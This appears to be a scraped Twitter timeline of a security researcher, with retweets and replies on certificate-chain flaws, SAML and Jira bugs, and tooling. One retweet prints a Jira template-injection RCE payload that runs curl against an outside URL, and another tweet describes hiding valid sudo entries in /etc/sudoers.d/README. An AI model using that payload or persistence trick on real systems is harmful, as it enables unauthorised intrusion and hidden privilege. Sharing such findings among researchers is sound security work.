retanoj

[Kirill @kirillk_web3]

https://t.co/wmucj8lhh4

[retanoj @retan0j]

@0xor0ne @artsploit summary
1. verification process and usage process use different cert of cert chain
2. some field of cert may lead to LDAP injection
3. some field of cert may lead to SSRF

[retanoj @retan0j]

@OctagonNetworks Is there something wrong? flag is under /test.octagon.net/flag ??

[retanoj @retan0j]

Nice Place🙂

[Craig Rowland - Agentless Linux Security @CraigHRowland]

Did you know the file /etc/sudoers.d/README is not just documentation, but a handy place to hide valid sudo user entries?

[retanoj @retan0j]

又要有大范围影响了吗？

[Felix Wilhelm @_fel1x]

If you perform SAML auth in Java you should make sure you patched https://t.co/jXex2fIZOP. RCE during signature verification. Blogpost coming soon™.

[retanoj @retan0j]

@skyvast_ @baiker60593353 if it was that commit, spring official did not fix it, still

[retanoj @retan0j]

@bestswngs @4uuu_Nya - -||| 多种证据表明这个修改无视了overlay FS，直接动了/etc/passwd 文件所在的那一层镜像里的文件，才会出现这些个情况

[retanoj @retan0j]

Take Developer Ecosystem Survey by JetBrains https://t.co/YL2TTcfYvF

[retanoj @retan0j]

@reederapp how to choose fetch frequency on icloud feed account settings?

[retanoj @retan0j]

@lucacarettoni @snyksec sometimes, snyk crawler bot is shit enough.

[retanoj @retan0j]

@PwnFunction actually, i dont watch expensive course

[XSS Payloads @XssPayloads]

Emptyfuscator, a JSFuck clone by @domenuk to create invisible payloads.
https://t.co/KDxiWY6eTA

[/r/netsec @_r_netsec]

I updated Mike Halsey’s famous password cracking table with new stats https://t.co/nAbLzl8Edz

[/r/netsec @_r_netsec]

How to Detect Domain Hiding (a.k.a. as Domain Fronting) – ntop https://t.co/Px5UBU72P8

[Olaf Hartong @olafhartong]

Having fun building some custom dashboards in Splunk for my talk together with @mvelazco at the @BlueTeamVillage next week
at @defcon, going to be a blast!

[RIVER @wugeej]

[PoC] RCE in Jira(CVE-2019–11581)

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl https://t.co/4GBYkkqjM3()

https://t.co/kvoLXg3Z8x

[retanoj @retan0j]

"PHP Composer: Speed Up Your Docker Build" by Maksudur Rahman Maateen #DEVCommunity https://t.co/m802sbBdqZ

[retanoj @retan0j]

@PwnFunction At that time, I will talk with friends

[retanoj @retan0j]

@hpdoger wow, r u a super hacker?

[retanoj @retan0j]

@slixurd @iichengzi @zxlinux @feelinglucky jackson一直是在增加黑名单，fastjson可谓招数多多